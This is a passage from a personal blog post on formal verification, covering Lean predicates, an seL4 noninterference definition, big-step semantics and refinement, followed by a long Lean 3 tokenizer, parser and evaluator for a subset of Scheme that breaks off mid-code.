Forge/Alloy predicates as well. I've found that there are (broadly speaking) two approaches to the concept when it comes to proof assistants. One approach is to retain _decidability_ as much as possible and write predicates as boolean returning functions -- for example: + +#+BEGIN_SRC lean4 +def sorted : List Nat → Bool := +fun + | (List.nil) => True + | (List.cons x (List.nil)) => True + | (List.cons x₁ (List.cons x₂ xs)) => if x₁ ≤ x₂ then (sorted xs) else False + +#eval sorted [1, 2, 3] +-- Lean 4: true + +#eval sorted [2, 1, 3] +-- Lean 4: false +#+END_SRC + +If we need to use =sorted= where a proposition is needed, we can effectively turn it into a =Prop= by writing =sorted ... = True=. The other approach is to deal directly with propositions. I've found that in Lean, it's common to encode such predicates inductively. + +#+BEGIN_SRC lean4 +inductive sorted' : List Nat → Prop +| empty : sorted' (List.nil) +| singleton : sorted' (List.cons x (List.nil)) +| tail : (x₁ ≤ x₂) → (sorted' xs) → sorted' (List.cons x₁ (List.cons x₂ xs)) +#+END_SRC + +When we define the predicate this way, we lose the ability to request that Lean evaluate it: + +#+BEGIN_SRC lean4 +#eval sorted' [2, 1, 3] +-- ERROR: failed to synthesize +-- Decidable (sorted' [2, 1, 3]) +#+END_SRC + +Which is a bit of a pain, because you sometimes want to be able to complete a proof by saying "well, if we just /evaluate/ this expression, the left-hand side is equal to the right-hand side." So I get the impression it's beneficial to deal with propositions as functions as frequently as possible. I might compare propositions as functions to constructive mathematics, and inductive predicates to classical mathematics. + +The examples above are close to what we mean by "predicate" in programming. The first tells you if a list is sorted or not -- that fact is either =true= or =false=. The second just tells you if a list is sorted, though you can prove that a list is not sorted if no rules can be applied to make the predicate true (by case analysis). In this case, the fact is either =true= or =false= as well. But you can have predicates over free variables, or higher-order predicates about the universe. For example, "all lists are sorted" is a predicate that can be represented in Lean as =∀ (xs : List Nat), sorted xs=. This is clearly false as we can find a finite counterexample, but higher-order predicates of these form begin to cross the line between decidable and not. We need a proof, rather than a computation, to prove higher-order predicates (though for a finite counterexample, the proof may amount to computation.) + +In either case, specification in a theorem prover amounts to writing predicates. I greatly simplified in my above description of the seL4 specification. There is no formal definition of "confidentiality," per se, but some specific properties that arguably fall under the umbrella of confidentiality. For example, that no data cannot be inferred without appropriate read authority. + +#+BEGIN_SRC prog +text \A generalisation of Nonleakage.\ +definition Nonleakage_gen :: "bool" where + "Nonleakage_gen \ + \as s u t. reachable s \ reachable t + \ s \schedDomain\ t + \ s \(sources as s u)\ t + \ uwr_equiv s as t as u" +#+END_SRC + +(This is from =proof/infoflow/Noninterference_Base.thy=.) + +** Programming Language Semantics + +Another way this approach differs from model checking is that we end up dealing with a very low-level specification of the system: its source code. To effectively reason about source code, we need to be able to assign meaning to the different constructs that exist in language, which we can do by providing a formal semantics. There are numerous approaches to doing so, but the three we covered in 1951X were "big-step", "small-step", and "denotational." + +Both "big-step" and "small-step" semantics specify rules of inference. In the case of big-step: "if execution of a statement x begins in state S, it will end up in state S'". In the case of small-step: "if execution of a statement x begins in state S, the abstract machine will then end up executing statement x' in state S'." Both represent the same idea, but small-step is much more granular and, hence, is more effective for models of sequential computation akin to the C abstract machine than something like the lambda calculus, so in considering a subset of Scheme for my final project, I gave a "big-step" semantics for said subset. Rules had the following form: + +#+BEGIN_SRC lean +| self_evaluating {expr s} + (h_not_lambda : ¬ is_lambda expr): + big_step + (stmt.expr expr, s) + (expr, s) +#+END_SRC + +Essentially, "for any =expr= that we can prove isn't a lambda expression there's a 'big step' from the wrapped version of =expr= to an unwrapped version of =expr=, and it has no effect on the state." Of course, lambda expressions are self-evaluating in Scheme, but my choice of representation forced me to model that with a separate rule. + +#+BEGIN_SRC lean +| construct_compound_procedure {args body closure s} + (h_well_formed : mk_compound_procedure s args body = except.ok closure): + big_step + (stmt.expr (atom.list ([(atom.symbol "lambda"), args] ++ body)), s) + (closure, s) +#+END_SRC + +I don't feel qualified to give an explanation of denotational semantics. It was explained to me as a way of expressing programming language semantics as "mathematical objects," and we explored that idea by considering programs as relations (particularly the composition of relations), but I suspect there's significant nuance to this because.. I would argue that rules of inference are also mathematical objects. In either case, I'll probably be able to give an explanation in a week or two when I find myself in the deep end. I'll be having to specify programming language semantics very soon as part of what I'm doing with Rob and Shriram. + +** Refinement + +"Refinement" has a very specific meaning in mathematics. In particular, a relation $S^{\prime}$ is said to _refine_ another relation $S$ if $S^{\prime} \subseteq S$. In the case of verifying software, an implementation X "refines" a specification Y if all behaviors that can be observed of X can adequately be explained by the specification Y. More succinctly: the behaviors of X is a subset of the behaviors of Y. There are a /lot/ of different approaches to making refinement tractable but they tend to come down to the idea that we can map states in the abstract model to states in the implementation, and vice versa. This lets us consider the problem of proving that "all programs in the abstract model have a correct equivalent in the concrete model" in pieces rather than as a whole. + +This is another area I'm as yet not especially familiar with. I was previously working through /Data Refinement: Model-Oriented Proof Methods and their Comparison/ by de Roever and Engelhardt until I realized that I don't have any near-term need to understand refinement at that level, and decided I would come back to it when it's more apropos. + +** Application: Proving the Correctness of a Scheme Program + +I had originally set out to prove the correctness of the meta-circular evaluator presented in [[https://en.wikipedia.org/wiki/Structure_and_Interpretation_of_Computer_Programs][Structure and Interpretation of Computer Programs]] for my final project, but after finishing my final for cryptography, I had about three restless evenings left to work on the project and I was nowhere near that, so I just submitted an interpreter in Lean and a proof that a program correctly computes the factorial function according to the some semantics for a subset of Scheme. + +Most Scheme implementations used today are either R5RS, R6RS, or R7RS, which are far more comprehensive than what my semantics considered. Namely: lambda expressions and evaluations, basic lexical environments, basic control flow, integers and integer arithmetic, symbols, and lists. Notably: no continuations, conditions, strings, or arbitrary-precision arithmetic. + +I avoided non-integer numbers because real numbers (shallowly-encoded in Lean) can't really be used in computations (the mathematical definition of a real number encodes an infinite amount of information). Even though the set of integers has infinite cardinality, they're much easier to use and reason about in Lean. Lean 4 has support for floating numbers but, again, we used Lean 3 for this class, so I stuck with Integers. + +What follows is a lot of Lean code with minimal commentary. I've had this project tucked away for a couple of months and to explain it like I did the Alloy example would require at least a couple days of refreshing my memory -- and I expect the resulting explanation would be incredibly lengthy if I explained everything in as much detail. Don't feel bad about skimming, or skipping to the end entirely. You aren't missing too much if you do. I include this mostly to satisfy any curiosities. + +... + +Returning to the idea of Lean as a general-purpose programming language... while we can write proofs about the semantics of Lisp without a mechanical parser, I think it's a simple enough example to show off some concepts in Lean. Let's start with a lexical analyzer for s-expressions. Obviously, we'll need some sort of data structure for representing tokens, and Lean fortunately supports inductive (or algebraic, or enumerated) data types. + +#+BEGIN_SRC lean +inductive token : Type +| eof : token +| lparen : token +| rparen : token +| quot : token +| numeral : ℕ → token +| symbol : string → token +#+END_SRC + +They're introduced with =inductive=. Each name to the left of the =:= is the constructor (or case) name, and the right-hand side is the type. Like an =enum= in Rust, inductive data types can contain no information (=token=) or they can contain some associated data like an integer (=ℤ → token=) or a string (=string → token=). + +We'll probably also want to be able to print our token streams. + +#+BEGIN_SRC lean +def token.repr : token → string +| (token.eof) := "EOF" +| (token.lparen) := "LPAREN" +| (token.rparen) := "RPAREN" +| (token.quot) := "QUOT" +| (token.numeral n) := "NUMBER " ++ (to_string n) +| (token.symbol s) := "SYMBOL " ++ s +instance : has_repr token := ⟨token.repr⟩ +#+END_SRC + +=has_repr= is like the =Show= typeclass in Haskell. It specifies an interface for displaying an object as a string. It's a single method in Lean. Here's some pretty awful Lean code for converting a string into a token stream. + +#+BEGIN_SRC lean +meta def take_numeric_helper : list char → list char × list char +| (list.cons x rest) := + if x.is_digit then + let result := take_numeric_helper rest in + (list.cons x result.fst, result.snd) + else ([], (list.cons x rest)) +| _ := ([], []) +meta def take_numeric (s : list char) : (token × list char) := +let result := take_numeric_helper s in + (token.numeral (string.to_nat (string.join (list.map char.to_string result.fst))), + result.snd) + +meta def take_symbol_helper : list char → list char × list char +| (list.cons x rest) := + if (¬ (x.is_whitespace ∨ x = ')')) then + let result := take_symbol_helper rest in + (list.cons x result.fst, result.snd) + else ([], (list.cons x rest)) +| _ := ([], []) +meta def take_symbol (s : list char) : (token × list char) := +let result := take_symbol_helper s in + (token.symbol (string.join (list.map char.to_string result.fst)), + result.snd) + +meta def tokenize_internal : list char → list token +| (list.cons '(' rest) := list.cons token.lparen (tokenize_internal rest) +| (list.cons ')' rest) := list.cons token.rparen (tokenize_internal rest) +| (list.cons '\'' rest) := list.cons token.quot (tokenize_internal rest) +| (list.cons x rest) := if char.is_digit x then + let result := take_numeric (list.cons x rest) in + list.cons result.fst (tokenize_internal result.snd) + else if (¬ char.is_whitespace x) then + let result := take_symbol (list.cons x rest) in + list.cons result.fst (tokenize_internal result.snd) + else + tokenize_internal rest +| _ := [token.eof] + +meta def tokenize (s : string) : list token := tokenize_internal (string.to_list s) + +#eval tokenize "(define (list-of-values exps env) + (if (no-operands? exps) + '() + (cons (eval (first-operand exps) env) + (list-of-values (rest-operands exps) env))))" +#+END_SRC + +These are all "=meta=" functions because I don't want to have to prove to Lean that they're well-founded and always terminate. =meta= functions can be evaluated, but they can't be used in proofs, so they're useful for auxiliary automation and not much else. + +Of course, a lexical analyzer is just a step toward building a parser, so we'll model the things we'd like to parse and reason about. + +#+BEGIN_SRC lean +inductive atom : Type +| undefined : atom +| boolean : bool → atom +| number : ℤ → atom +| primitive_procedure : string → atom +| compound_procedure : (string → option atom) → list string → atom → atom +| symbol : string → atom +| list : list atom → atom +| cell : atom → atom → atom + +instance atom_inhabited : inhabited atom := + inhabited.mk (atom.undefined) +#+END_SRC + +The =atom= type will be useful in specifying the semantics as well as the parser. I'm bastardizing the term somewhat since "atom" has a pretty specific meaning in Lisp that is distinct from how I'm using it here. + +=inhabited= is another typeclass which tells us that an instance of =atom= can actually be constructed (which isn't true of all types you might want to deal with in Lean.) + +We can also write some automation to pretty-print atoms. + +#+BEGIN_SRC lean +meta def atom.repr : atom → string +| (atom.undefined) := "" +| (atom.boolean bool) := if bool then "#t" else "#f" +| (atom.number n) := (to_string n) +| (atom.primitive_procedure sym) := "" +| (atom.compound_procedure _ args body) := "(λ (" ++ string.intercalate " " args ++ ") " ++ (atom.repr body) ++ ")" +| (atom.symbol sym) := sym +| (atom.list lst) := "(" ++ string.intercalate " " (list.map atom.repr lst) ++ ")" +| (atom.cell car cdr) := "(" ++ atom.repr car ++ " . " ++ atom.repr cdr ++ ")" +meta instance : has_repr atom := ⟨atom.repr⟩ +#+END_SRC + +The parser is fairly simple, too, but we have to deal with mutual recursion. + +#+BEGIN_SRC lean +meta def parse_until_rparen : ℤ → list token → option (list token × list token) +| 0 (list.cons (token.rparen) rest) := some ([], rest) +| n (list.cons (token.rparen) rest) := + match parse_until_rparen (n - 1) rest with + | none := none + | some result := some (list.cons token.rparen result.fst, result.snd) + end +| n (list.cons (token.lparen) rest) := + match parse_until_rparen (n + 1) rest with + | none := none + | some result := (list.cons token.lparen result.fst, result.snd) + end +| n (list.cons tok rest) := + match parse_until_rparen n rest with + | none := none + | some result := some (list.cons tok result.fst, result.snd) + end +| n (list.nil) := none + +meta mutual def parse_one, parse +with parse_one : list token → option (atom × list token) +| (list.cons token.lparen rest) := + match parse_until_rparen 0 rest with + | none := none + | some result := some (atom.list (parse result.fst), result.snd) + end +| (list.cons token.quot rest) := + match parse_one rest with + | none := none + | some result := some (atom.list [(atom.symbol "quote"), result.fst], result.snd) + end +| (list.cons (token.numeral n) rest) := some (atom.number n, rest) +| (list.cons (token.symbol "#t") rest) := some (atom.boolean tt, rest) +| (list.cons (token.symbol "#f") rest) := some (atom.boolean ff, rest) +| (list.cons (token.symbol sym) rest) := some (atom.symbol sym, rest) +| _ := none +with parse : list token → list atom +| (list.nil) := [] +| stream := match parse_one stream with +| none := [] +| some (result, (list.nil)) := [result] +| some (result, rest) := (list.cons result (parse rest)) +end + +#eval list.map atom.repr (parse (tokenize "(+ 2 4)")) +#eval list.map atom.repr (parse (tokenize "(define (list-of-values exps env) + (if (no-operands? exps) + '() + (cons (eval (first-operand exps) env) + (list-of-values (rest-operands exps) env))))")) +#+END_SRC + +The evaluator has a notion of errors, whereas the language semantics doesn't, so we'll introduce a type for that as well. + +#+BEGIN_SRC lean +inductive lisp_error : Type +| expected_number : lisp_error +| expected_symbol : lisp_error +| expected_list : lisp_error +| no_such_variable : string → lisp_error +| bad_lambda : lisp_error +| bad_begin : lisp_error +| bad_if : lisp_error +| bad_define : lisp_error +| bad_arity : lisp_error +| excessive_recursion : lisp_error +| unknown_form : lisp_error + +def lisp_error.repr : lisp_error → string +| (lisp_error.expected_number) := "Expected number" +| (lisp_error.expected_symbol) := "Expected symbol" +| (lisp_error.expected_list) := "Expected list" +| (lisp_error.no_such_variable sym) := "No such variable: " ++ sym +| (lisp_error.bad_lambda) := "Bad lambda form" +| (lisp_error.bad_begin) := "Bad begin form" +| (lisp_error.bad_if) := "Bad if form" +| (lisp_error.bad_define) := "Bad define form" +| (lisp_error.bad_arity) := "Compound procedure called with wrong number of arguments" +| (lisp_error.excessive_recursion) := "Maximum recursion depth exceeded" +| (lisp_error.unknown_form) := "Unknown form" +instance : has_repr lisp_error := ⟨lisp_error.repr⟩ + +def lisp_result (α : Type) := except lisp_error α + +meta def lisp_result_atom.repr : lisp_result atom → string +| (except.ok result) := atom.repr result +| (except.error err) := "ERROR: " ++ lisp_error.repr err +-- instance : has_repr lisp_result := ⟨lisp_result.repr⟩ + +meta def lisp_result.repr {α : Type} : lisp_result (atom × α) → string +| (except.ok (result, _)) := atom.repr result +| (except.error err) := "ERROR: " ++ lisp_error.repr err +#+END_SRC + +Now, we also need a notion of "state" and "frame." + +#+BEGIN_SRC lean +def state : Type := string → option atom +instance state_inhabited : inhabited state := +inhabited.mk (λ x, none) + +def state.update (name : string) (val : atom) (s : state) : state := +λname', if name' = name then some val else s name' + +notation s `{` name ` ↦ ` val `}` := state.update name val s + +def lookup_var : string → list state → option atom +| var (list.nil) := none +| var (list.cons s rest) := + match s var with + | some result := some result + | none := lookup_var var rest + end + +-- If we've just pushed a frame onto the environment, and a variable exists in +-- that frame, then looking up that variable in the environment is equivalent to +-- looking it up in the frame. +lemma lookup_head (x : string) (y : state) (ys : list state) (z : atom) : + y x = some z → lookup_var x (y :: ys) = some z := +begin + intro h, + simp [h, lookup_var], +end + +def set_var : string → atom → list state → lisp_result (list state) +| place new_value (list.nil) := except.error (lisp_error.no_such_variable place) +| place new_value (list.cons s rest) := + match s place with + | (some _) := except.ok (list.cons (s{place ↦ new_value}) rest) + | none := + match set_var place new_value rest with + | (except.ok rest') := except.ok (list.cons s rest') + | (except.error e) := except.error e + end + end + +-- This is only well-defined if |names| = |values|. +def new_frame : list string → list atom → state +| (list.cons name rest₁) (list.cons value rest₂) := (new_frame rest₁ rest₂){name ↦ value} +| _ _ := λ _, none +#+END_SRC + +And, finally, we can get into the implementation of evaluation. First, we'll implement evaluation of procedures. Either the procedure is primitive (or built-in), like =+=, it's a named compound procedure, it's a lambda form, or the name doesn't exist in the environment. + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +#+BEGIN_SRC lean +def collect_params : atom → option (list string) +| (atom.list (list.cons (atom.symbol param) rest)) := + match collect_params (atom.list rest) with + | some rest' := some (list.cons param rest') + | none := none + end +| (atom.list (list.nil)) := some [] +| _ := none + +#eval collect_params (atom.list [atom.symbol "x"]) +#eval collect_params (atom.list [atom.symbol "x", atom.symbol "y"]) + +def mk_compound_procedure + (closure_env : list state) + (paramlist : atom) + (body : list atom) + : lisp_result atom := +match collect_params paramlist with +| some params := + except.ok + (atom.compound_procedure + (λ x, lookup_var x closure_env) + params + (atom.list (list.cons (atom.symbol "begin") body))) +| none := except.error (lisp_error.bad_lambda) +end + +#eval lisp_result_atom.repr + (mk_compound_procedure + [(λ _, none)] + (atom.list [atom.symbol "x"]) + [(atom.symbol "+"), (atom.number 2), (atom.number 4)]) + +def symbol_name : atom → option string +| (atom.symbol name) := some name +| _ := none + +def is_primitive_procedure (name : string) : bool := + name ∈ ["+", "-", "*", "/", "=", "car", "cdr", "cons", "null?", "eqv?"] + +@[simp] +lemma add_is_primitive : is_primitive_procedure "+" := by exact rfl +@[simp] +lemma sub_is_primitive : is_primitive_procedure "-" := by exact rfl +@[simp] +lemma mul_is_primitive : is_primitive_procedure "*" := by exact rfl +@[simp] +lemma div_is_primitive : is_primitive_procedure "/" := by exact rfl +@[simp] +lemma eq_is_primitive : is_primitive_procedure "=" := by exact rfl +@[simp] +lemma car_is_primitive : is_primitive_procedure "car" := by exact rfl +@[simp] +lemma cdr_is_primitive : is_primitive_procedure "cdr" := by exact rfl +@[simp] +lemma cons_is_primitive : is_primitive_procedure "cons" := by exact rfl +@[simp] +lemma null_is_primitive : is_primitive_procedure "null?" := by exact rfl +@[simp] +lemma eqv_is_primitive : is_primitive_procedure "eqv?" := by exact rfl + +def fold_maybe_numeric : (ℤ → ℤ → ℤ) → ℤ → list atom → option ℤ +| op nil (list.cons (atom.number n) rest) := + do { + rest_sum ← fold_maybe_numeric op nil rest, + pure (op n rest_sum) } +| op nil (list.nil) := some nil +| _ _ _ := none + +def primitive_add (args : list atom) : lisp_result atom := +match fold_maybe_numeric (λ x y, x + y) 0 args with +| some result := except.ok (atom.number result) +| none := except.error lisp_error.expected_number +end + +def primitive_sub (args : list atom) : lisp_result atom := +match fold_maybe_numeric (λ x y, x - y) 0 args with +| some result := except.ok (atom.number result) +| none := except.error lisp_error.expected_number +end + +def primitive_mul (args : list atom) : lisp_result atom := +match fold_maybe_numeric (λ x y, x * y) 1 args with +| some result := except.ok (atom.number result) +| none := except.error lisp_error.expected_number +end + +def primitive_div (args : list atom) : lisp_result atom := +match fold_maybe_numeric (λ x y, x / y) 1 args with +| some result := except.ok (atom.number result) +| none := except.error lisp_error.expected_number +end + +def attach_state : lisp_result atom → list state → lisp_result (atom × list state) +| (except.ok result) s := except.ok (result, s) +| (except.error e) _ := except.error e + +-- TODO: Error reporting could be better. +def primitive_eq (args : list atom) : lisp_result atom := +match args with +| (list.cons (atom.number x) (list.cons (atom.number y) _)) := + except.ok (if x = y then atom.boolean tt else atom.boolean ff) +| _ := except.error lisp_error.expected_number +end + +-- This is where I got sick of being explicit about the return types. +def primitive_car (args : list atom) : lisp_result atom := +match args with +| (list.cons (atom.cell car cdr) _) := except.ok car +| (list.cons car cdr) := except.ok car +| _ := except.error lisp_error.expected_list +end + +def primitive_cdr (args : list atom) : lisp_result atom := +match args with +| (list.cons (atom.cell car cdr) _) := except.ok cdr +| (list.cons car cdr) := except.ok (atom.list cdr) +| _ := except.error lisp_error.expected_list +end + +def primitive_cons (args : list atom) : lisp_result atom := +match args with +| (list.cons car (list.cons (atom.list cdr) _)) := except.ok (atom.list (list.cons car cdr)) +| (list.cons car (list.cons cdr _)) := except.ok (atom.cell car cdr) +| _ := except.error lisp_error.expected_list +end + +def primitive_null (args : list atom) : lisp_result atom := +match args with +| (list.cons (atom.list (list.nil)) _) := except.ok (atom.boolean tt) +| (list.cons (atom.list _) _) := except.ok (atom.boolean ff) +| _ := except.error lisp_error.expected_list +end + +def primitive_eqv (args : list atom) : lisp_result atom := +match args with +| (list.cons (atom.symbol x) (list.cons (atom.symbol y) _)) := except.ok (if x = y then atom.boolean tt else atom.boolean ff) +| _ := except.error lisp_error.expected_symbol +end +#+END_SRC + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +We can't actually encode a "proper" Scheme implementation in Lean because there'a possibility that we write a program that doesn't terminate. If we cap the maximum evaluation depth, though, we can prove that the evaluator is well-founded. This more accurately models the real world, anyway, since computers have a finite amount of memory. So we have an =evaluation_state= which maintains the current =stack_depth=, and we'll use that as both a guardrail that allows us to prove that our recursive =eval= function eventually terminates. + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +#+BEGIN_SRC lean +structure evaluation_state := +(stack_depth : ℕ) +(environment : list state) +(form : atom) + +def evaluation_state_measure : psum evaluation_state (psum evaluation_state evaluation_state) → ℕ +| (psum.inl state) := state.stack_depth +| (psum.inr (psum.inl state)) := state.stack_depth +| (psum.inr (psum.inr state)) := state.stack_depth + +mutual def eval, apply, eval_param_list + +with eval : evaluation_state → lisp_result (atom × list state) +| (evaluation_state.mk 0 _ _) := + except.error (lisp_error.excessive_recursion) +| (evaluation_state.mk (stack_depth + 1) s (atom.undefined)) := + except.ok (atom.undefined, s) +| (evaluation_state.mk (stack_depth + 1) s (atom.boolean bool)) := + except.ok (atom.boolean bool, s) +| (evaluation_state.mk (stack_depth + 1) s (atom.number n)) := + except.ok (atom.number n, s) +| (evaluation_state.mk (stack_depth + 1) s (atom.cell car cdr)) := + except.ok (atom.cell car cdr, s) +| (evaluation_state.mk (stack_depth + 1) s (atom.primitive_procedure name)) := + except.ok (atom.primitive_procedure name, s) +| (evaluation_state.mk (stack_depth + 1) s (atom.compound_procedure closure_env paramlist body)) := + except.ok (atom.compound_procedure closure_env paramlist body, s) +| (evaluation_state.mk (stack_depth + 1) s (atom.symbol sym)) := + if sym = "+" then + except.ok (atom.primitive_procedure "+", s) + else if sym = "-" then + except.ok (atom.primitive_procedure "-", s) + else if sym = "*" then + except.ok (atom.primitive_procedure "*", s) + else if sym = "/" then + except.ok (atom.primitive_procedure "/", s) + else if sym = "=" then + except.ok (atom.primitive_procedure "=", s) + else if sym = "car" then + except.ok (atom.primitive_procedure "car", s) + else if sym = "cdr" then + except.ok (atom.primitive_procedure "cdr", s) + else if sym = "cons" then + except.ok (atom.primitive_procedure "cons", s) + else if sym = "null?" then + except.ok (atom.primitive_procedure "null?", s) + else if sym = "eqv?" then + except.ok (atom.primitive_procedure "eqv?", s) + else match (lookup_var sym s) with + | none := except.error (lisp_error.no_such_variable sym) + | some value := except.ok (value, s) + end +| (evaluation_state.mk (stack_depth + 1) s (atom.list (list.cons func rest))) := + if symbol_name func = some "quote" then + except.ok (list.head rest, s) + else if symbol_name func = some "lambda" then + match mk_compound_procedure s (list.head rest) (list.tail rest) with + | (except.ok lambda) := except.ok (lambda, s) + | (except.error err) := except.error err + end + else if symbol_name func = some "begin" then + match rest with + | (list.cons head (list.nil)) := + eval (evaluation_state.mk stack_depth s head) + | (list.cons head tail) := + match eval (evaluation_state.mk stack_depth s head) with + | (except.ok (result, s')) := + eval (evaluation_state.mk stack_depth s' (atom.list (list.cons (atom.symbol "begin") tail))) + | (except.error e) := (except.error e) + end + | _ := (except.error lisp_error.bad_begin) + end + else if symbol_name func = some "set!" then + match rest with + | (list.cons (atom.symbol place) (list.cons value _)) := + match set_var place value s with + | (except.ok s') := except.ok (atom.undefined, s') + | (except.error e) := except.error e + end + | _ := except.error lisp_error.bad_arity + end + else if symbol_name func = some "if" then + match rest with + | (list.cons cond (list.cons ite_true (list.nil))) := + match eval (evaluation_state.mk stack_depth s cond) with + | except.ok ((atom.boolean ff), s') := except.ok (atom.undefined, s') + | except.ok (_, s') := + match eval (evaluation_state.mk stack_depth s ite_true) with + | except.ok (result, s'') := except.ok (result, s'') + | except.error e := except.error e + end + | except.error e := except.error e + end + | (list.cons cond (list.cons ite_true (list.cons ite_false _))) := + match eval (evaluation_state.mk stack_depth s cond) with + | except.ok ((atom.boolean ff), s') := + match eval (evaluation_state.mk stack_depth s ite_false) with + | except.ok (result, s'') := except.ok (result, s'') + | except.error e := except.error e + end + | except.ok (_, s') := + match eval (evaluation_state.mk stack_depth s ite_true) with + | except.ok (result, s'') := except.ok (result, s'') + | except.error e := except.error e + end + | except.error e := except.error e + end + | _ := except.error lisp_error.bad_if + end + else if symbol_name func = some "define" then + match rest with + -- Function definition. + | (list.cons (atom.list (list.cons (atom.symbol name) args)) body) := + match mk_compound_procedure s (atom.list args) body with + | (except.ok procedure) := except.ok (atom.undefined, list.cons ((list.head s){name ↦ procedure}) (list.tail s)) + | (except.error e) := except.error e + end + | (list.cons (atom.symbol name) body) := + match eval (evaluation_state.mk stack_depth s (list.head body)) with + | (except.ok (result, _)) := except.ok (atom.undefined, list.cons ((list.head s){name ↦ result}) (list.tail s)) + | (except.error e) := except.error e + end + | _ := except.error lisp_error.bad_define + end + else apply (evaluation_state.mk stack_depth s (atom.list (list.cons func rest))) +| _ := except.error lisp_error.unknown_form + +with apply : evaluation_state → lisp_result (atom × list state) +| (evaluation_state.mk 0 _ _) := + except.error (lisp_error.excessive_recursion) +| (evaluation_state.mk (stack_depth + 1) s (atom.list (list.cons func args))) := + let func' := eval (evaluation_state.mk stack_depth s func), + args_evaluated := eval_param_list (evaluation_state.mk stack_depth s (atom.list args)) in + match func' with + | (except.ok ((atom.primitive_procedure "+"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_add args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "-"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_sub args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "*"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_mul args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "/"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_div args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "="), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_eq args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "car"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_car args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "cdr"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_cdr args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "cons"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_cons args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "null?"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_null args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure "eqv?"), _)) := + match args_evaluated with + | (except.ok (args', s')) := attach_state (primitive_eqv args') s + | (except.error e) := except.error e + end + | (except.ok ((atom.primitive_procedure name), _)) := + except.error (lisp_error.no_such_variable name) + | (except.ok ((atom.compound_procedure closure_env paramlist body), s')) := + match args_evaluated with + | (except.ok (args', s')) := + let s'' := (list.cons (new_frame paramlist args') (list.cons closure_env s')) in + eval (evaluation_state.mk stack_depth s'' body) + | (except.error e) := except.error e + end + | _ := except.error (lisp_error.unknown_form) + end +| _ := except.error lisp_error.unknown_form + +with eval_param_list : evaluation_state → lisp_result (list atom × list state) +| (evaluation_state.mk 0 _ _) := + except.error (lisp_error.excessive_recursion) +| (evaluation_state.mk stack_depth s (atom.list (list.nil))) := + except.ok ([], s) +| (evaluation_state.mk (stack_depth + 1) s (atom.list (list.cons elt rest))) := + match eval (evaluation_state.mk stack_depth s elt) with + | (except.ok (result_head, s')) := + match eval_param_list (evaluation_state.mk stack_depth s' (atom.list rest)) with + | except.ok (result_rest, s'') := except.ok (list.cons result_head result_rest, s'') + | (except.error e) := except.error e + end + | (except.error e) := except.error e + end +| _ := except.error lisp_error.unknown_form + +using_well_founded {rel_tac := λ _ _, `[exact ⟨_, measure_wf evaluation_state_measure⟩]} +#+END_SRC + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +I found the evaluation state structure to actually be quite convenient in reasoning about things like whether or not an evaluation is finite. + +#+BEGIN_SRC lean +lemma finite_implies_nonzero_stack_depth + (form result : atom) + (environment environment' : list state) + (stack_depth : ℕ) + (h_finite : ¬ (eval (evaluation_state.mk stack_depth environment form) = except.error (lisp_error.excessive_recursion))) : + stack_depth > 0 := +begin + by_contra', + apply h_finite, + simp [le_of_eq] at this, + simp [this, eval], +end +#+END_SRC + +The approach I've taken for the program semantics is to compile the expression to a "statement" type, and then reason about the big step semantics of those statements. + +At the beginning, I was doing small step semantics, until I realized that it was really hard to reason about a language where everything is an expression without being able to assume hypotheses about the transitive nature of small steps, which Lean didn't like at all. Something about nesting inductive predicates. + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +#+BEGIN_SRC lean +inductive stmt : Type +| expr : atom → stmt -- 1, #tt, symbol, ... +| var : string → stmt -- var-name +| seq : stmt → stmt → stmt -- (begin form ... rest) +| assign : string → stmt → stmt -- (set! name expr) +| define : string → stmt → stmt -- (define name expr) +| ite : stmt → stmt → stmt → stmt -- (if cond expr-true expr-false) +| app : stmt → list stmt → stmt -- ((lambda (arg1 ... argn) body) param1 ... paramn) + +meta def stmt.repr : stmt → string +| (stmt.expr expr) := "(expr " ++ atom.repr expr ++ ")" +| (stmt.var name) := "(deref " ++ name ++ ")" +| (stmt.seq car cdr) := "(seq " ++ stmt.repr car ++ " " ++ stmt.repr cdr ++ ")" +| (stmt.assign place rhs) := "(assign " ++ place ++ " " ++ stmt.repr rhs ++ ")" +| (stmt.define place rhs) := "(define " ++ place ++ " " ++ stmt.repr rhs ++ ")" +| (stmt.ite cond if_true if_false) := "(if " ++ stmt.repr cond ++ " " ++ stmt.repr if_true ++ " " ++ stmt.repr if_false ++ ")" +| (stmt.app func args) := "(application " ++ stmt.repr func ++ " " ++ string.intercalate " " (list.map stmt.repr args) ++ ")" + +instance stmt_inhabited : inhabited stmt := +inhabited.mk (stmt.expr (atom.undefined)) + +def is_some {α : Type} : option α → Prop +| (some _) := true +| _ := false + +def is_lambda : atom → Prop +| (atom.list (list.cons (atom.symbol "lambda") _)) := true +| _ := false + +def seq_from_list_stmt : list stmt → stmt +| (list.nil) := stmt.expr atom.undefined +| (list.cons head (list.nil)) := head +| (list.cons head tail) := stmt.seq head (seq_from_list_stmt tail) + +mutual def compile_stmt, compile_stmt_list +with compile_stmt : atom → option stmt +-- Arity 0 +| (atom.list (list.cons func (list.nil))) := + do { + result ← compile_stmt func, + pure (stmt.app result []) } +-- Arity 1 +| (atom.list (list.cons func (list.cons rest (list.nil)))) := + match func with + | 